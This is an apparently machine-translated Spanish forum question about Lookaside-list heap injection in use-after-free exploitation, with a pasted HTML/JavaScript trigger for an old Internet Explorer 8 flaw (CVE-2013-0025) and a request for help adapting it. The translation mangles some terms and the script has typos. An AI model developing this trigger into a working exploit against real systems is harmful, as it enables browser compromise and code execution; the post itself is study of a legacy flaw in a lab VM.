He estado leyendo mucho acerca de Uso después de haberlo encontrado y encontré esto documento . Habla de un exploit de inyección "Lookaside". El documento dice que se vacíe el caché de memoria dinámica, llamado Lookaside Linked-List. Luego, asigne dos porciones de memoria del mismo tamaño que el objeto que causa la UAF. A continuación, rellene uno de ellos con shellcode y elimínelos en un cierto orden (el shellcode primero). Como Lookaside es una lista enlazada, cuando se elimina el objeto UAF, esto hace que la vtable del objeto UAF apunte al primer objeto eliminado y luego la vtable del objeto que apunta al objeto shellcode. Cuando se desencadena la UAF (no se hace referencia a vtable) se ejecuta el código shell. Este es mi entendimiento de ello.
Estaba interesado en probar este exploit. Encontré en línea un exploit en IE8 (CVE-2013-0025), que es un UAF. Lo probé en un Windows XP sp3 vm en el que funciona CVE-2013-0025, con el siguiente script:
<html>
<head>
<script>
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
for(var i =0; i<1150; i++){
objArray[i] = document.createElement('span');
objArray[i].className = data += enescape("%aaaa%aaaa");
}
setTimeout(function(){document.body.innerHtml = "boo"},50)},50)
</script>
</head>
<body>
<p> </p> <---space in par. is part of exploit
</body>
</html>
Este exploit intenta sobrepasar la memoria del objeto eliminado. Sin embargo, quiero intentar hacer esto con la inyección de lookaside en su lugar. Intenté intentar crear dos objetos antes de setTimeOut y luego eliminarlos antes de que el objeto UAF se eliminara. Sin embargo, no estoy seguro de si estoy entendiendo cómo funciona correctamente la inyección Lookaside.
Me preguntaba cómo (o algunos consejos sobre cómo) convertir este exploit para usar la inyección Lookaside, en lugar de tratar de sobrescribir el objeto anterior (exploit VFTABLE). Si no se puede hacer con este exploit, me preguntaba cómo crear un programa C ++ de juguete como un POC para la inyección de lookaside. Por último, me preguntaba si la inyección Lookaside funciona en Linux. No pude encontrar una referencia a esta estructura en la administración del montón de Linux.